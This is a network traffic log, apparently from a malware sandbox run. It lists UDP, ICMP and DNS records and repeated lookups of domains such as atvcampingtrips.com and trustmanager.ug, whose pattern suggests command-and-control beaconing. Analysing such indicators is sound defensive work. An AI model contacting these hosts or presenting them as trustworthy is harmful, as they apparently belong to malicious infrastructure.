Aug 21, 2021 21:46:01.229501009 CEST	50781	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:01.256793976 CEST	53	50781	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:01.544502974 CEST	54230	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:01.578886986 CEST	53	54230	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:01.959985971 CEST	54911	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:01.993108988 CEST	53	54911	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:02.119107962 CEST	49958	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:02.155324936 CEST	53	49958	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:02.666344881 CEST	50860	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:02.699733019 CEST	53	50860	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:03.464471102 CEST	50452	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:03.499615908 CEST	53	50452	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:04.225544930 CEST	59730	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:04.309741020 CEST	53	59730	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:05.134483099 CEST	59310	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:05.214699984 CEST	53	59310	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:06.522341967 CEST	51919	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:06.555504084 CEST	53	51919	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:07.632766008 CEST	64296	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:07.666064024 CEST	53	64296	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:15.062148094 CEST	56680	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:15.096931934 CEST	53	56680	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:26.580044031 CEST	58820	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:26.617621899 CEST	53	58820	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:26.649542093 CEST	60983	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:26.686244965 CEST	53	60983	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:28.816919088 CEST	49247	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:28.842252016 CEST	53	49247	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:29.561753035 CEST	52286	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:29.594883919 CEST	53	52286	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:30.353090048 CEST	56064	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:30.382246971 CEST	53	56064	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:31.090415001 CEST	63744	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:31.126784086 CEST	53	63744	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:36.974062920 CEST	61457	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:37.001101971 CEST	53	61457	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:37.705351114 CEST	58367	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:37.738671064 CEST	53	58367	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:39.124872923 CEST	60599	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:39.163688898 CEST	53	60599	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:40.568896055 CEST	59571	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:40.602931023 CEST	53	59571	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:44.946628094 CEST	52689	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:44.971970081 CEST	53	52689	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:45.913502932 CEST	50290	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:45.949588060 CEST	53	50290	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:46.974975109 CEST	60427	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:47.008037090 CEST	53	60427	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:47.927099943 CEST	56209	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:47.960527897 CEST	53	56209	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:49.220330954 CEST	59582	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:49.249736071 CEST	53	59582	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:50.251554012 CEST	60949	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:50.278323889 CEST	53	60949	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:50.549073935 CEST	58542	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:50.584137917 CEST	53	58542	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:51.159841061 CEST	59179	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:51.193128109 CEST	53	59179	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:52.130336046 CEST	60927	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:52.165647984 CEST	53	60927	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:52.959218025 CEST	57854	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:52.993406057 CEST	53	57854	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:53.702647924 CEST	62026	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:53.728010893 CEST	53	62026	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:54.613523006 CEST	59453	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:54.646631956 CEST	53	59453	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:55.443813086 CEST	62468	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:55.473503113 CEST	53	62468	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:56.928807974 CEST	52563	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:57.139867067 CEST	54721	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:57.176517963 CEST	53	54721	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:57.197397947 CEST	53	52563	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:57.538520098 CEST	62826	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:57.809685946 CEST	53	62826	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:58.569653988 CEST	62046	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:58.821468115 CEST	53	62046	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:58.903083086 CEST	51223	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:58.942430973 CEST	63908	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:58.976070881 CEST	53	63908	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:59.169620037 CEST	53	51223	8.8.8.8	192.168.2.7
Aug 21, 2021 21:46:59.273072958 CEST	49226	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:46:59.533509970 CEST	53	49226	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:00.050621986 CEST	60212	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:00.403800964 CEST	53	60212	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:00.624701023 CEST	58867	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:00.883498907 CEST	53	58867	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:01.612550974 CEST	50864	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:02.073962927 CEST	53	50864	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:02.160916090 CEST	61504	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:02.498359919 CEST	53	61504	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:02.692276955 CEST	60231	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:03.101758003 CEST	53	60231	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:03.304368973 CEST	50095	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:03.560537100 CEST	53	50095	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:03.709076881 CEST	59654	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:04.129425049 CEST	53	59654	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:04.237983942 CEST	58233	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:04.514424086 CEST	53	58233	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:04.721028090 CEST	56822	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:04.987217903 CEST	53	56822	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:05.120384932 CEST	62572	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:05.404664040 CEST	53	62572	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:05.502679110 CEST	57179	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:05.769249916 CEST	53	57179	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:06.139375925 CEST	56124	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:06.400121927 CEST	53	56124	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:06.494218111 CEST	62287	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:06.746630907 CEST	53	62287	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:06.836360931 CEST	54644	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:07.254415989 CEST	53	54644	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:07.453154087 CEST	59159	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:07.716778994 CEST	53	59159	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:07.971873999 CEST	57924	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:08.247227907 CEST	53	57924	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:08.314513922 CEST	51712	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:08.584290028 CEST	53	51712	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:08.809102058 CEST	58865	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:09.089698076 CEST	53	58865	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:09.191911936 CEST	64337	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:09.443363905 CEST	53	64337	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:09.460391045 CEST	50407	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:09.723643064 CEST	53	50407	8.8.8.8	192.168.2.7
Aug 21, 2021 21:47:09.968801975 CEST	61075	53	192.168.2.7	8.8.8.8
Aug 21, 2021 21:47:10.382349968 CEST	53	61075	8.8.8.8	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 21, 2021 21:45:54.137197971 CEST	192.168.2.7	8.8.8.8	cff3	(Port unreachable)	Destination Unreachable
Aug 21, 2021 21:45:55.123167038 CEST	192.168.2.7	8.8.8.8	cff3	(Port unreachable)	Destination Unreachable
Aug 21, 2021 21:45:56.170625925 CEST	192.168.2.7	8.8.8.8	cff3	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 21, 2021 21:45:49.109914064 CEST	192.168.2.7	8.8.8.8	0x8717	Standard query (0)	aucmoney.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:50.097078085 CEST	192.168.2.7	8.8.8.8	0x8717	Standard query (0)	aucmoney.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:51.144062042 CEST	192.168.2.7	8.8.8.8	0x8717	Standard query (0)	aucmoney.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.159936905 CEST	192.168.2.7	8.8.8.8	0x8717	Standard query (0)	aucmoney.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.210263968 CEST	192.168.2.7	8.8.8.8	0xcd2c	Standard query (0)	thegymmum.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.285563946 CEST	192.168.2.7	8.8.8.8	0xe197	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.481292963 CEST	192.168.2.7	8.8.8.8	0x6959	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.497004986 CEST	192.168.2.7	8.8.8.8	0x84a9	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.409187078 CEST	192.168.2.7	8.8.8.8	0xb4ea	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.340956926 CEST	192.168.2.7	8.8.8.8	0xc22c	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:59.152720928 CEST	192.168.2.7	8.8.8.8	0x2e77	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:00.124485970 CEST	192.168.2.7	8.8.8.8	0xa012	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.053515911 CEST	192.168.2.7	8.8.8.8	0xf29	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:01.959985971 CEST	192.168.2.7	8.8.8.8	0x8bf5	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:26.580044031 CEST	192.168.2.7	8.8.8.8	0xf31c	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:26.649542093 CEST	192.168.2.7	8.8.8.8	0xa142	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:28.816919088 CEST	192.168.2.7	8.8.8.8	0xf36c	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:29.561753035 CEST	192.168.2.7	8.8.8.8	0xa504	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:30.353090048 CEST	192.168.2.7	8.8.8.8	0xd779	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:31.090415001 CEST	192.168.2.7	8.8.8.8	0xd02	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:36.974062920 CEST	192.168.2.7	8.8.8.8	0xf5d	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:37.705351114 CEST	192.168.2.7	8.8.8.8	0x5027	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:39.124872923 CEST	192.168.2.7	8.8.8.8	0x6e91	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:40.568896055 CEST	192.168.2.7	8.8.8.8	0x90ac	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:44.946628094 CEST	192.168.2.7	8.8.8.8	0x9701	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:45.913502932 CEST	192.168.2.7	8.8.8.8	0x7179	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:46.974975109 CEST	192.168.2.7	8.8.8.8	0x7557	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:47.927099943 CEST	192.168.2.7	8.8.8.8	0xaf92	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.220330954 CEST	192.168.2.7	8.8.8.8	0x4cbc	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.251554012 CEST	192.168.2.7	8.8.8.8	0xfd95	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.159841061 CEST	192.168.2.7	8.8.8.8	0xc2b8	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.130336046 CEST	192.168.2.7	8.8.8.8	0x4f81	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.959218025 CEST	192.168.2.7	8.8.8.8	0x962c	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.702647924 CEST	192.168.2.7	8.8.8.8	0xd51f	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.613523006 CEST	192.168.2.7	8.8.8.8	0xbc57	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.443813086 CEST	192.168.2.7	8.8.8.8	0x8262	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:56.928807974 CEST	192.168.2.7	8.8.8.8	0x17c9	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.139867067 CEST	192.168.2.7	8.8.8.8	0x322	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.538520098 CEST	192.168.2.7	8.8.8.8	0x3376	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:58.569653988 CEST	192.168.2.7	8.8.8.8	0xbf4	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:58.903083086 CEST	192.168.2.7	8.8.8.8	0x4dab	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:59.273072958 CEST	192.168.2.7	8.8.8.8	0xe57e	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:00.050621986 CEST	192.168.2.7	8.8.8.8	0x6aaf	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:00.624701023 CEST	192.168.2.7	8.8.8.8	0x2084	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:01.612550974 CEST	192.168.2.7	8.8.8.8	0x2b7a	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:02.160916090 CEST	192.168.2.7	8.8.8.8	0xf837	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:02.692276955 CEST	192.168.2.7	8.8.8.8	0xa2c8	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:03.304368973 CEST	192.168.2.7	8.8.8.8	0x4865	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:03.709076881 CEST	192.168.2.7	8.8.8.8	0xa538	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:04.237983942 CEST	192.168.2.7	8.8.8.8	0x983a	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:04.721028090 CEST	192.168.2.7	8.8.8.8	0x4449	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:05.120384932 CEST	192.168.2.7	8.8.8.8	0x20bf	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:05.502679110 CEST	192.168.2.7	8.8.8.8	0xab8d	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:06.139375925 CEST	192.168.2.7	8.8.8.8	0x6bca	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:06.494218111 CEST	192.168.2.7	8.8.8.8	0xae14	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:06.836360931 CEST	192.168.2.7	8.8.8.8	0x902b	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:07.453154087 CEST	192.168.2.7	8.8.8.8	0xe3	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:07.971873999 CEST	192.168.2.7	8.8.8.8	0x21eb	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:08.314513922 CEST	192.168.2.7	8.8.8.8	0xd525	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:08.809102058 CEST	192.168.2.7	8.8.8.8	0x1c09	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:09.191911936 CEST	192.168.2.7	8.8.8.8	0x33a3	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:09.460391045 CEST	192.168.2.7	8.8.8.8	0xb181	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:09.968801975 CEST	192.168.2.7	8.8.8.8	0xf7d3	Standard query (0)	trustmanager.ug	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 21, 2021 21:45:53.197335005 CEST	8.8.8.8	192.168.2.7	0x8717	Server failure (2)	aucmoney.com	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.259645939 CEST	8.8.8.8	192.168.2.7	0xcd2c	Server failure (2)	thegymmum.com	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:53.594423056 CEST	8.8.8.8	192.168.2.7	0xe197	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.136148930 CEST	8.8.8.8	192.168.2.7	0x8717	Server failure (2)	aucmoney.com	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:54.790847063 CEST	8.8.8.8	192.168.2.7	0x6959	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.122689962 CEST	8.8.8.8	192.168.2.7	0x8717	Server failure (2)	aucmoney.com	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:55.530116081 CEST	8.8.8.8	192.168.2.7	0x84a9	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.169867992 CEST	8.8.8.8	192.168.2.7	0x8717	Server failure (2)	aucmoney.com	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:56.445255041 CEST	8.8.8.8	192.168.2.7	0xb4ea	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:45:57.374233961 CEST	8.8.8.8	192.168.2.7	0xc22c	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
